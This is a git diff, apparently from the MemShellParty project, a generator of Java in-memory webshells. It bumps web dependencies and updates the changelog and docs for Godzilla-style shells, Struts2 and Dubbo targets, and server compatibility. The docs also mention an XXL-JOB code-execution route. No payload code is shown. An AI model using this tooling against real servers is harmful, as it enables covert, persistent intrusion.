- "rolldown": ["rolldown@1.0.0-rc.17", "", { "dependencies": { "@oxc-project/types": "=0.127.0", "@rolldown/pluginutils": "1.0.0-rc.17" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.0-rc.17", "@rolldown/binding-darwin-arm64": "1.0.0-rc.17", "@rolldown/binding-darwin-x64": "1.0.0-rc.17", "@rolldown/binding-freebsd-x64": "1.0.0-rc.17", "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.17", "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.17", "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-x64-musl": "1.0.0-rc.17", "@rolldown/binding-openharmony-arm64": "1.0.0-rc.17", "@rolldown/binding-wasm32-wasi": "1.0.0-rc.17", "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.17", "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.17" }, "bin": { "rolldown": "bin/cli.mjs" } }, "sha512-ZrT53oAKrtA4+YtBWPQbtPOxIbVDbxT0orcYERKd63VJTF13zPcgXTvD4843L8pcsI7M6MErt8QtON6lrB9tyA=="],
+ "rolldown": ["rolldown@1.0.2", "", { "dependencies": { "@oxc-project/types": "=0.132.0", "@rolldown/pluginutils": "^1.0.0" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.2", "@rolldown/binding-darwin-arm64": "1.0.2", "@rolldown/binding-darwin-x64": "1.0.2", "@rolldown/binding-freebsd-x64": "1.0.2", "@rolldown/binding-linux-arm-gnueabihf": "1.0.2", "@rolldown/binding-linux-arm64-gnu": "1.0.2", "@rolldown/binding-linux-arm64-musl": "1.0.2", "@rolldown/binding-linux-ppc64-gnu": "1.0.2", "@rolldown/binding-linux-s390x-gnu": "1.0.2", "@rolldown/binding-linux-x64-gnu": "1.0.2", "@rolldown/binding-linux-x64-musl": "1.0.2", "@rolldown/binding-openharmony-arm64": "1.0.2", "@rolldown/binding-wasm32-wasi": "1.0.2", "@rolldown/binding-win32-arm64-msvc": "1.0.2", "@rolldown/binding-win32-x64-msvc": "1.0.2" }, "bin": { "rolldown": "./bin/cli.mjs" } }, "sha512-oZx5zVDtVB44AW3eaifgDml1gWRDZGvjcfdxonE4swNPG98PrrXjaO/KrnUjzlMnztCCRVlUueA1kCXhARGk6g=="],
"rollup": ["rollup@4.53.3", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.53.3", "@rollup/rollup-android-arm64": "4.53.3", "@rollup/rollup-darwin-arm64": "4.53.3", "@rollup/rollup-darwin-x64": "4.53.3", "@rollup/rollup-freebsd-arm64": "4.53.3", "@rollup/rollup-freebsd-x64": "4.53.3", "@rollup/rollup-linux-arm-gnueabihf": "4.53.3", "@rollup/rollup-linux-arm-musleabihf": "4.53.3", "@rollup/rollup-linux-arm64-gnu": "4.53.3", "@rollup/rollup-linux-arm64-musl": "4.53.3", "@rollup/rollup-linux-loong64-gnu": "4.53.3", "@rollup/rollup-linux-ppc64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-musl": "4.53.3", "@rollup/rollup-linux-s390x-gnu": "4.53.3", "@rollup/rollup-linux-x64-gnu": "4.53.3", "@rollup/rollup-linux-x64-musl": "4.53.3", "@rollup/rollup-openharmony-arm64": "4.53.3", "@rollup/rollup-win32-arm64-msvc": "4.53.3", "@rollup/rollup-win32-ia32-msvc": "4.53.3", "@rollup/rollup-win32-x64-gnu": "4.53.3", "@rollup/rollup-win32-x64-msvc": "4.53.3", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA=="],
@@ -1267,15 +1268,15 @@
"supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
- "tailwind-merge": ["tailwind-merge@3.5.0", "", {}, "sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A=="],
+ "tailwind-merge": ["tailwind-merge@3.6.0", "", {}, "sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w=="],
- "tailwindcss": ["tailwindcss@4.2.4", "", {}, "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA=="],
+ "tailwindcss": ["tailwindcss@4.3.0", "", {}, "sha512-y6nxMGB1nMW9R6k96e5gdIFzcfL/gTJRNaqGes1YvkLnPVXzWgbqFF2yLC0T8G774n24cx3Pe8XrKoniCOAH+Q=="],
- "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="],
+ "tapable": ["tapable@2.3.3", "", {}, "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A=="],
"tiny-case": ["tiny-case@1.0.3", "", {}, "sha512-Eet/eeMhkO6TX8mnUteS9zgPbUMQa4I6Kkp5ORiBD5476/m+PIRiumP5tmh5ioJpH7k51Kehawy2UDfsnxxY8Q=="],
- "tinyexec": ["tinyexec@1.1.1", "", {}, "sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg=="],
+ "tinyexec": ["tinyexec@1.2.2", "", {}, "sha512-M/Q0B2cp4K7kynaT/vnED1j8TlLY+Pp7C6Wl2bl/7u/F0mUVwdyOpwomQb8JpYLitHUssAJRmLZdMCGsrx7i+g=="],
"tinyglobby": ["tinyglobby@0.2.16", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg=="],
@@ -1299,7 +1300,7 @@
"typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="],
- "undici-types": ["undici-types@7.19.2", "", {}, "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg=="],
+ "undici-types": ["undici-types@7.24.6", "", {}, "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg=="],
"unified": ["unified@11.0.5", "", { "dependencies": { "@types/unist": "^3.0.0", "bail": "^2.0.0", "devlop": "^1.0.0", "extend": "^3.0.0", "is-plain-obj": "^4.0.0", "trough": "^2.0.0", "vfile": "^6.0.0" } }, "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA=="],
@@ -1339,7 +1340,7 @@
"vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="],
- "vite": ["vite@8.0.10", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.10", "rolldown": "1.0.0-rc.17", "tinyglobby": "^0.2.16" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.1.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-rZuUu9j6J5uotLDs+cAA4O5H4K1SfPliUlQwqa6YEwSrWDZzP4rhm00oJR5snMewjxF5V/K3D4kctsUTsIU9Mw=="],
+ "vite": ["vite@8.0.14", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.15", "rolldown": "1.0.2", "tinyglobby": "^0.2.16" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.1.18", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-s4BJJ+5y1pYL6Otw51FHhVJQhPnuRinKig64g/1+EUNaJsd3gCKdD31IPFvswUgW9/60QT9oFHbZHbQK5imcxw=="],
"vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="],
@@ -1367,7 +1368,7 @@
"yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="],
- "zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="],
+ "zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="],
"zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
@@ -1419,6 +1420,8 @@
"boxen/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
+ "browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="],
+
"chalk-template/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
"compression/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
@@ -1538,5 +1541,7 @@
"vite-node/vite/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.12", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="],
"vite-node/vite/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="],
+
+ "vite-node/vite/postcss/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
}
}
diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx
index b5d74595..bb87c87c 100644
--- a/web/content/docs/changelog.mdx
+++ b/web/content/docs/changelog.mdx
@@ -8,6 +8,20 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+## [v2.7.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.1) - 2026-05-24
+
+### Fixed
+
+1. 修复 SpELSpringGzipJDK17 高版本 org.springframework.util.Base64Utils 类被删除导致无法使用
+2. 修复 TongWeb 7.0.4.9、BES 11.0.0 回显失效
+3. 修复命名错误 struct2 -> struts2
+
+### Changed
+
+1. 依赖更新、文档更新
+
+**Full Changelog:** [v2.7.0...v2.7.1](https://github.com/ReaJason/MemShellParty/compare/v2.7.0...v2.7.1)
+
## [v2.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.0) - 2026-04-26
### Added
@@ -141,7 +155,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Added
1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1)
-2. 支持 Struct2 Action 内存马与回显马生成
+2. 支持 Struts2 Action 内存马与回显马生成
### Changed
diff --git a/web/content/docs/compatibility.mdx b/web/content/docs/compatibility.mdx
index 029607ee..ea2c04cd 100644
--- a/web/content/docs/compatibility.mdx
+++ b/web/content/docs/compatibility.mdx
@@ -41,7 +41,7 @@ icon: Album
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
-| [BES (9.5.x)](/docs/server-intro#bes) | [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) |
+| [BES (9.5.x ~ 11.0.0)](/docs/server-intro#bes) | [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) |
| ------------------------------------- | ---------------------------------------------- | ------------------------------------------------------- |
| Filter | Filter | Filter |
| Listener | Listener | Listener |
@@ -49,13 +49,13 @@ icon: Album
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
-| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) |
-| ----------------------------------------------- | --------------------------------------------- |
-| Servlet | Filter |
-| Filter | Listener |
-| Listener | Valve |
-| FilterChain - Agent | FilterChain - Agent |
-| | ContextValve - Agent |
+| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) | [Dubbo Provider](/docs/server-intro#dubbo) |
+| ----------------------------------------------- | --------------------------------------------- | --------------------------------------------- |
+| Servlet | Filter | DubboService |
+| Filter | Listener | |
+| Listener | Valve | |
+| FilterChain - Agent | FilterChain - Agent | |
+| | ContextValve - Agent | |
### 内存马功能
diff --git a/web/content/docs/custom-memshell.mdx b/web/content/docs/custom-memshell.mdx
index c58595ea..5181f6be 100644
--- a/web/content/docs/custom-memshell.mdx
+++ b/web/content/docs/custom-memshell.mdx
@@ -48,7 +48,7 @@ inject(context, shell);
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) |
-| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) |
+| (Struts2)Action | [GodzillaStruts2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java) |
| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) |
### 参考步骤
diff --git a/web/content/docs/memshell-core-config.mdx b/web/content/docs/memshell-core-config.mdx
index c7bf0388..8b151157 100644
--- a/web/content/docs/memshell-core-config.mdx
+++ b/web/content/docs/memshell-core-config.mdx
@@ -26,7 +26,7 @@ description: 了解和使用那些可能用到的一键开关
- [x] SpringWebMvc
- [x] SpringWebFlux
- [x] XXLJOB
-- [x] Struct2
+- [x] Struts2
### 服务版本
diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json
index 01621ba1..eee8a7ed 100644
--- a/web/content/docs/meta.json
+++ b/web/content/docs/meta.json
@@ -11,7 +11,7 @@
"memshell-core-config",
"servlet",
"springweb",
- "struct2-shell",
+ "struts2-shell",
"middleware",
"shelltool",
"agent-shell",
diff --git a/web/content/docs/resbody/meta.json b/web/content/docs/resbody/meta.json
index 4672f8a2..b9349985 100644
--- a/web/content/docs/resbody/meta.json
+++ b/web/content/docs/resbody/meta.json
@@ -11,6 +11,6 @@
"tongweb",
"apusic",
"springwebmvc",
- "struct2"
+ "struts2"
]
}
diff --git a/web/content/docs/resbody/struct2.mdx b/web/content/docs/resbody/struct2.mdx
deleted file mode 100644
index fef4a2a8..00000000
--- a/web/content/docs/resbody/struct2.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
----
-title: Struct2
----
-
-WIP
diff --git a/web/content/docs/resbody/struts2.mdx b/web/content/docs/resbody/struts2.mdx
new file mode 100644
index 00000000..14a05cea
--- /dev/null
+++ b/web/content/docs/resbody/struts2.mdx
@@ -0,0 +1,5 @@
+---
+title: Struts2
+---
+
+WIP
diff --git a/web/content/docs/sdk.mdx b/web/content/docs/sdk.mdx
index 59eb2ea0..633a962f 100644
--- a/web/content/docs/sdk.mdx
+++ b/web/content/docs/sdk.mdx
@@ -10,6 +10,8 @@ import { Tab, Tabs } from "fumadocs-ui/components/tabs";
### 添加依赖
+1. 如果仅需要生成内存马 Base64 格式,仅添加 generator 模块即可
+
```xml
@@ -23,6 +25,31 @@ import { Tab, Tabs } from "fumadocs-ui/components/tabs";
```groovy implementation 'io.github.reajason:generator:2.2.0' ```
+2. 如果需要使用自带的丰富打包方式,需要额外添加 packer 模块
+
+
+
+ ```xml
+
+ io.github.reajason
+ generator
+ 2.2.0
+
+
+ io.github.reajason
+ packer
+ 2.2.0
+
+ ```
+
+
+ ```groovy
+ implementation 'io.github.reajason:generator:2.2.0'
+ implementation 'io.github.reajason:packer:2.2.0'
+ ```
+
+
+
### 生成 Tomcat Godzilla Filter 内存马示例
```java
diff --git a/web/content/docs/server-intro.mdx b/web/content/docs/server-intro.mdx
index 8f675495..f54be296 100644
--- a/web/content/docs/server-intro.mdx
+++ b/web/content/docs/server-intro.mdx
@@ -365,3 +365,9 @@ SpringWebFlux 进行内存马生成。
XXL-JOB 是一个分布式任务调度平台,由于 executor 出现过反序列化漏洞,并且弱密码情况下可在 admin 前台下发任务,在 executor 执行任意代码,因此在 MemShellParty 中也提供了 XXL-JOB 内存马的生成,服务类型选择 XXL-JOB 进行内存马生成。
executor 仅支持 Netty Handler 内存马注入。
+
+## Dubbo
+
+> 官网:https://dubbo.apache.org/en/
+
+Dubbo 分为低版本 2.6x Alibaba Dubbo,包名为 `com.alibaba.dubbo.`,后来合并到 Apache 改为了 Apache Dubbo 2.7x 版本和 3.x 版本,包名为 `org.apache.dubbo.`,当前 Dubbo 内存马只针对 Dubbo Provider,对于 Dubbo Consumer 来说直接打对应的内存马即可比如 Spring 框架马。
diff --git a/web/content/docs/struct2-shell.mdx b/web/content/docs/struct2-shell.mdx
deleted file mode 100644
index 1e646c34..00000000
--- a/web/content/docs/struct2-shell.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
----
-title: Struct2 框架内存马
----
-
-## Action 内存马
diff --git a/web/content/docs/struts2-shell.mdx b/web/content/docs/struts2-shell.mdx
new file mode 100644
index 00000000..a5342f7a
--- /dev/null
+++ b/web/content/docs/struts2-shell.mdx
@@ -0,0 +1,5 @@
+---
+title: Struts2 框架内存马
+---
+
+## Action 内存马
diff --git a/web/package.json b/web/package.json
index cafae0c7..b550e592 100644
--- a/web/package.json
+++ b/web/package.json
@@ -14,52 +14,53 @@
"fmt:check": "oxfmt --check"
},
"dependencies": {
- "@base-ui/react": "^1.4.1",
- "@hookform/resolvers": "^5.2.2",
+ "@base-ui/react": "^1.5.0",
+ "@hookform/resolvers": "^5.4.0",
"@orama/orama": "^3.1.18",
"@orama/stopwords": "^3.1.18",
"@orama/tokenizers": "^3.1.18",
- "@react-router/node": "^7.14.2",
- "@tanstack/react-query": "^5.100.5",
+ "@react-router/node": "^7.15.1",
+ "@tanstack/react-query": "^5.100.14",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
- "framer-motion": "^12.38.0",
- "fumadocs-core": "^16.8.4",
- "fumadocs-mdx": "14.3.1",
- "fumadocs-ui": "16.8.4",
- "i18next": "^26.0.8",
- "isbot": "^5.1.39",
- "lucide-react": "^1.11.0",
- "motion": "^12.38.0",
- "react": "^19.2.5",
+ "framer-motion": "^12.40.0",
+ "fumadocs-core": "^16.9.1",
+ "fumadocs-mdx": "15.0.8",
+ "fumadocs-ui": "16.9.1",
+ "i18next": "^26.2.0",
+ "isbot": "^5.1.40",
+ "lucide-react": "^1.16.0",
+ "motion": "^12.40.0",
+ "react": "^19.2.6",
"react-copy-to-clipboard": "^5.1.1",
- "react-dom": "^19.2.5",
- "react-hook-form": "^7.74.0",
- "react-i18next": "^17.0.4",
- "react-medium-image-zoom": "^5.4.3",
+ "react-dom": "^19.2.6",
+ "react-hook-form": "^7.76.1",
+ "react-i18next": "^17.0.8",
+ "react-medium-image-zoom": "^5.4.5",
"react-syntax-highlighter": "^16.1.1",
"sonner": "^2.0.7",
- "tailwind-merge": "^3.5.0",
+ "tailwind-merge": "^3.6.0",
"tw-animate-css": "^1.4.0",
"yup": "^1.7.1"
},
"devDependencies": {
- "@react-router/dev": "^7.14.2",
- "@tailwindcss/vite": "^4.2.4",
+ "@react-router/dev": "^7.15.1",
+ "@tailwindcss/vite": "^4.3.0",
"@types/mdx": "^2.0.13",
- "@types/node": "^25.6.0",
- "@types/react": "^19.2.14",
+ "@types/node": "^25.9.1",
+ "@types/react": "^19.2.15",
"@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.2.3",
"@types/react-syntax-highlighter": "^15.5.13",
- "oxfmt": "^0.46.0",
- "oxlint": "^1.61.0",
+ "baseline-browser-mapping": "^2.10.32",
+ "oxfmt": "^0.51.0",
+ "oxlint": "^1.66.0",
"react-router-devtools": "^6.2.0",
"rimraf": "^6.1.3",
"serve": "^14.2.6",
- "tailwindcss": "^4.2.4",
+ "tailwindcss": "^4.3.0",
"typescript": "^6.0.3",
- "vite": "^8.0.10",
+ "vite": "^8.0.14",
"vite-plugin-devtools-json": "^1.0.0",
"vite-tsconfig-paths": "^6.1.1"
}